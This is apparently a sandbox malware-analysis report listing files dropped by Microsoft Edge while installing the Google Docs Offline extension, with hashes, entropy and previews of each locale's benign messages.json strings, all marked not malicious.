Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7008_1468140498\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
